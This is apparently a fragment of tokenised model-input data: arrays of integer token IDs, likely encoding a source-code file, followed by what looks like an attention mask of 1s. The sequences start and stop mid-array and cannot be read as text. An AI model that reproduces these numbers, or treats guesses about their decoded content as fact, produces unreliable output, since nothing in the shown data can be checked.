63, 998, 12, 288, 18006, 63, 3627, 29, 45, 26477, 63, 29374, 12, 288, 18006, 63, 1131, 29, 45, 26477, 63, 11938, 12, 288, 308, 19, 63, 4623, 29, 51, 19, 63, 20156, 12, 288, 308, 19, 63, 498, 29, 51, 19, 63, 3078, 12, 288, 10158, 29, 277, 14, 7406, 267, 776, 339, 347, 511, 63, 826, 8, 277, 304, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 1765, 63, 344, 12, 377, 7946, 63, 998, 9, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 9217, 63, 1631, 63, 344, 12, 603, 26477, 63, 17489, 63, 998, 9, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 83, 19, 63, 1631, 63, 344, 12, 428, 19, 63, 17489, 63, 998, 9, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 9217, 63, 3627, 12, 603, 26477, 63, 29374, 9, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 9217, 63, 1131, 12, 603, 26477, 63, 11938, 9, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 83, 19, 63, 4623, 12, 428, 19, 63, 20156, 9, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 83, 19, 63, 498, 12, 428, 19, 63, 3078, 9, 339, 347, 511, 63, 1160, 63, 698, 63, 12867, 8, 277, 304, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 1160, 63, 955, 12, 788, 83, 19, 63, 498, 297, 283, 9217, 63, 1131, 1105, 339, 347, 511, 63, 3352, 63, 1160, 8, 277, 304, 267, 3367, 275, 8495, 3244, 8, 277, 14, 1805, 63, 3856, 12, 6186, 63, 5390, 9, 267, 3367, 14, 3352, 63, 5876, 342, 398, 1420, 63, 16841, 63, 1160, 275, 30108, 4116, 356, 399, 7, 10680, 13, 614, 13, 614, 52, 383, 26, 383, 26, 383, 11, 383, 26, 383, 58, 936, 398, 291, 14, 19512, 8, 288, 1420, 63, 16841, 63, 1160, 12, 288, 2519, 8, 277, 14, 1805, 63, 3856, 12, 283, 9217, 63, 1131, 358, 267, 776, 339, 768, 1805, 14, 2068, 360, 15815, 14, 2828, 14, 12688, 14, 9217, 63, 475, 63, 83, 19, 14, 20393, 8481, 358, 272, 768, 1805, 14, 2068, 360, 15815, 14, 2828, 14, 12688, 14, 9217, 63, 475, 63, 83, 19, 14, 51, 19, 8481, 358, 272, 347, 511, 63, 2526, 8, 277, 12, 1683, 63, 83, 19, 63, 3664, 12, 1683, 63, 9217, 63, 3664, 304, 267, 4182, 275, 291, 14, 1805, 63, 3856, 398, 1683, 63, 9217, 63, 3664, 14, 1107, 63, 585, 14, 1623, 14, 1107, 63, 585, 275, 2740, 8, 17749, 63, 45, 26477, 63, 9677, 9, 267, 1683, 63, 83, 19, 63, 3664, 14, 1107, 63, 585, 14, 912, 63, 875, 14, 1107, 63, 585, 275, 715, 398, 4182, 14, 2526, 8, 403, 9, 398, 1683, 63, 9217, 63, 3664, 14, 1107, 63, 585, 14, 1623, 14, 479, 63, 3527, 63, 5089, 63, 1045, 8, 288, 18006, 63, 3627, 29, 45, 26477, 63, 29374, 12, 288, 1827, 29, 45, 26477, 63, 11938, 12, 288, 18006, 63, 697, 29, 403, 267, 776, 398, 1687, 63, 875, 2021, 275, 291, 14, 1805, 63, 3856, 423, 875, 2021, 267, 1687, 63, 4711, 275, 291, 14, 1805, 63, 3856, 14, 4711, 398, 308, 19, 63 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 646, 2882, 199, 199, 504, 16321, 492, 19666, 199, 504, 16321, 14, 2828, 14, 12688, 14, 9217, 63, 475, 63, 83, 19, 492, 13503, 1378, 51, 19, 7961, 199, 504, 16321, 14, 992, 492, 8495, 3244, 199, 504, 16321, 14, 1208, 492, 7137, 199, 199, 893, 26, 272, 687, 2882, 492, 1683, 199, 2590, 3545, 26, 272, 862, 26, 267, 492, 1683, 272, 871, 3545, 26, 267, 1683, 275, 488, 199, 199, 17179, 63, 998, 275, 283, 396, 63, 9217, 63, 475, 63, 83, 19, 63, 3856, 7, 199, 45, 26477, 63, 17489, 63, 998, 275, 283, 885, 63, 9217, 7, 199, 51, 19, 63, 17489, 63, 998, 275, 283, 885, 63, 83, 19, 7, 199, 45, 26477, 63, 29374, 275, 283, 2694, 63, 3627, 7, 199, 45, 26477, 63, 11938, 275, 2420, 4, 4116, 582, 7370, 6714, 435, 283, 58, 7, 3586, 3570, 199, 51, 19, 63, 20156, 275, 283, 2694, 63, 4623, 7, 199, 51, 19, 63, 3078, 275, 283, 2694, 63, 498, 7, 199, 199, 3472, 63, 5390, 275, 7137, 14, 2083, 8, 10680, 12, 413, 12, 413, 9, 199, 17749, 63, 45, 26477, 63, 9677, 275, 359, 272, 791, 2694, 63, 1107, 63, 498, 63, 17, 356, 283, 2694, 63, 1107, 63, 585, 63, 17, 2267, 272, 791, 2694, 63, 1107, 63, 498, 63, 18, 356, 283, 2694, 63, 1107, 63, 585, 63, 18, 936, 199, 61, 421, 199, 533, 13503, 1378, 51, 19, 7961, 774, 8, 2796, 14, 1746, 304, 339, 347, 3613, 8, 277, 304, 267, 1249, 275, 469, 288, 283, 4597, 356, 283, 15815, 297, 288, 283, 928, 63, 602, 356, 6186, 63, 5390, 267, 789, 398, 291, 14, 7406, 275, 19666, 360, 396, 63, 7406, 63, 344, 297, 849, 63, 589, 29, 589, 9, 398, 291, 14, 1805, 63, 3856, 275, 13503, 1378, 51, 19, 7961, 8, 288, 2120, 63, 344, 29, 17179, 63, 998, 12, 288, 18006, 63, 1631, 63, 344, 29, 45, 26477, 63, 17489, 63, 998, 12, 288, 308, 19, 63, 1631, 63, 344, 29, 51, 19, 63, 17489, 63, 998, 12, 288, 18006, 63, 3627, 29, 45, 26477, 63, 29374, 12, 288, 18006, 63, 1131, 29, 45, 26477, 63, 11938, 12, 288, 308, 19, 63, 4623, 29, 51, 19, 63, 20156, 12, 288, 308, 19, 63, 498, 29, 51, 19, 63, 3078, 12, 288, 10158, 29, 277, 14, 7406, 267, 776, 339, 347, 511, 63, 826, 8, 277, 304, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 1765, 63, 344, 12, 377, 7946, 63, 998, 9, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 9217, 63, 1631, 63, 344, 12, 603, 26477, 63, 17489, 63, 998, 9, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 83, 19, 63, 1631, 63, 344, 12, 428, 19, 63, 17489, 63, 998, 9, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 9217, 63, 3627, 12, 603, 26477, 63, 29374, 9, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 9217, 63, 1131, 12, 603, 26477, 63, 11938, 9, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 83, 19, 63, 4623, 12, 428, 19, 63, 20156, 9, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 83, 19, 63, 498, 12, 428, 19, 63, 3078, 9, 339, 347, 511, 63, 1160, 63, 698, 63, 12867, 8, 277, 304, 267, 291, 14, 629, 8, 277, 14, 1805, 63, 3856, 14, 1160, 63, 955, 12, 788, 83, 19, 63, 498, 297, 283, 9217, 63, 1131, 1105, 339, 347, 511, 63, 3352, 63, 1160, 8, 277, 304, 267, 3367, 275, 8495, 3244, 8, 277, 14, 1805, 63, 3856, 12, 6186, 63, 5390, 9, 267, 3367, 14, 3352, 63, 5876, 342, 398, 1420, 63, 16841, 63, 1160, 275, 30108, 4116, 356, 399, 7, 10680, 13, 614, 13, 614, 52, 383, 26, 383, 26, 383, 11, 383, 26, 383, 58, 936, 398, 291, 14, 19512, 8, 288, 1420, 63, 16841, 63, 1160, 12, 288, 2519, 8, 277, 14, 1805, 63, 3856, 12, 283, 9217, 63, 1131, 358, 267, 776, 339, 768, 1805, 14, 2068, 360, 15815, 14, 2828, 14, 12688, 14, 9217, 63, 475, 63, 83, 19, 14, 20393, 8481, 358, 272, 768, 1805, 14, 2068, 360, 15815, 14, 2828, 14, 12688, 14, 9217, 63, 475, 63, 83, 19, 14, 51, 19, 8481, 358, 272, 347, 511, 63, 2526, 8, 277, 12, 1683, 63, 83, 19, 63, 3664, 12, 1683, 63, 9217, 63, 3664, 304, 267, 4182, 275, 291, 14, 1805, 63, 3856, 398, 1683, 63, 9217, 63, 3664, 14, 1107, 63, 585, 14, 1623, 14, 1107, 63, 585, 275, 2740, 8, 17749, 63, 45, 26477, 63, 9677, 9, 267, 1683, 63, 83, 19, 63, 3664, 14, 1107, 63, 585, 14, 912, 63, 875, 14, 1107, 63, 585, 275, 715, 398, 4182, 14, 2526, 8, 403, 9, 398, 1683, 63, 9217, 63, 3664, 14, 1107, 63, 585, 14, 1623, 14, 479, 63, 3527, 63, 5089, 63, 1045, 8, 288, 18006, 63, 3627, 29, 45, 26477, 63, 29374, 12, 288, 1827, 29, 45, 26477, 63, 11938, 12, 288, 18006, 63, 697, 29, 403, 267, 776, 398, 1687, 63, 875, 2021, 275, 291, 14, 1805, 63, 3856, 423, 875, 2021, 267, 1687, 63, 4711, 275, 291, 14, 1805, 63, 3856, 14, 4711, 398, 308, 19, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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